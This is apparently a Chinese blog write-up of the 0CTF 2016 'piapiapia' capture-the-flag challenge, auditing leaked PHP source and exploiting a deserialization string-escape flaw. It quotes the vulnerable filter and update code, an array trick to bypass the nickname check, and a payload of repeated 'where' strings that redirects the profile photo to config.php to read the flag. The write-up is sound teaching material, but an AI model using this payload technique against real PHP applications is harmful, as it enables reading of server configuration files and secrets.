• [0CTF 2016]piapiapia


    进入页面,是个登陆框:

    试了一下弱密码,都不行,那就扫一下目录。扫出来www.zip,下载后得到几个文件:

    代码审计:

    sql注入或者文件上传这里都不可控,只能利用file_get_contents

    跟踪审计发现以下流程:

    profile.php文件中:

    1.页面会输出base64_encode(file_get_contents($profile['photo']));

    2.考虑控制photo

    3.$profile = unserialize($profile);,进行了反序列化。

    4.寻找序列化的地方 => update.php

    update.php文件中:

    5.发现以下代码:

        $profile['phone'] = $_POST['phone'];
    		$profile['email'] = $_POST['email'];
    		$profile['nickname'] = $_POST['nickname'];
    		$profile['photo'] = 'upload/' . md5($file['name']);
    
    		$user->update_profile($username, serialize($profile));

    这里的参数都是可控的,但是不是无条件利用的,发现上面还有三个过滤:

    if(!preg_match('/^\d{11}$/', $_POST['phone']))
    			die('Invalid phone');
    
    if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
    			die('Invalid email');
    		
    if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
    			die('Invalid nickname');

    phone要求:

    11位纯数字

    email要求:

    邮箱格式 如:123@qq.com

    nickname要求:

    只能位数字,字母和下划线,且不超过10个长度

    正常来说,开发者希望序列化之后的是图片,即:

    a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"1@qq.com";s:8:"nickname";s:3:"abc";s:5:"photo";s:39:"upload/65atf5c74f559t4867dbd57e9ca9f980";}

    访问后,显示是这样的:

    这里我们希望控制参数photo ,但是photo无法传参,但是我们在往下阅读文件后会发现,文件会对字符串做一个序列化并且过滤

    $user->update_profile($username, serialize($profile));

    从这里我们可以定位到class.php

    class.php文件中:

    找到update_profile函数:

    public function update_profile($username, $new_profile) {
    		$username = parent::filter($username);
    		$new_profile = parent::filter($new_profile);
    
    		$where = "username = '$username'";
    		return parent::update($this->table, 'profile', $new_profile, $where);

    发现引用了filter,第一时间反应字符串逃逸,先来看一下filter函数:

    public function filter($string) {
    		$escape = array('\'', '\\\\');
    		$escape = '/' . implode('|', $escape) . '/';
    		$string = preg_replace($escape, '_', $string);
    
    		$safe = array('select', 'insert', 'update', 'delete', 'where');
    		$safe = '/' . implode('|', $safe) . '/i';
    		return preg_replace($safe, 'hacker', $string);
    	}

    发现where五个字符替换为六个字符,可以构造字符串逃逸

    但是现在面临一个问题:构造字符串逃逸需要利用参数nickname,但是这个只限制10个字符,而且只能用数字,字符和下划线。了解一个新的绕过方式:

    创建这样一个php文件实验:

     10)
    {
        echo "die!";
    }
    else{
        echo "you're right";
    }
    ?>

    如果正常这样,是会die

    但是如果你使用数组呢?

    尽管会报错,但是可以绕过!!!

    解题:

    再来捋一遍思路:

    利用函数file_get_contetns => 看能不能控制$profile['photo'] => $profile['photo']unserialize($profile)来的 => 看从哪里序列化的 => 定位update.php的函数update_profile => 在文件class.php文件中,而且还进行了过滤 => 序列化+过滤 => 字符串逃逸 => 利用上面的绕过方法来构造恶意字符

    先进入register.php 创建账号登陆,登陆后:

    对这个包抓一下:

    传参

    wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:5:"photo";s:10:"config.php";}

    再访问,解码得到flag:

  • 相关阅读:
    java 打包zip压缩包
    基于Springboot实现疫情网课管理系统项目【项目源码+论文说明】
    Websocket集群解决方案
    iText生成PDF文件
    centos 部署 xray 漏洞扫描器
    ref属性
    公司新来一个同事,把网关系统设计的炉火纯青,万能通用,稳的一批。。
    【Spring学习笔记】
    Nacos-Feign-Gateway
    设计循环队列(leetcode 622)
  • 原文地址:https://blog.csdn.net/qq_64201116/article/details/126773052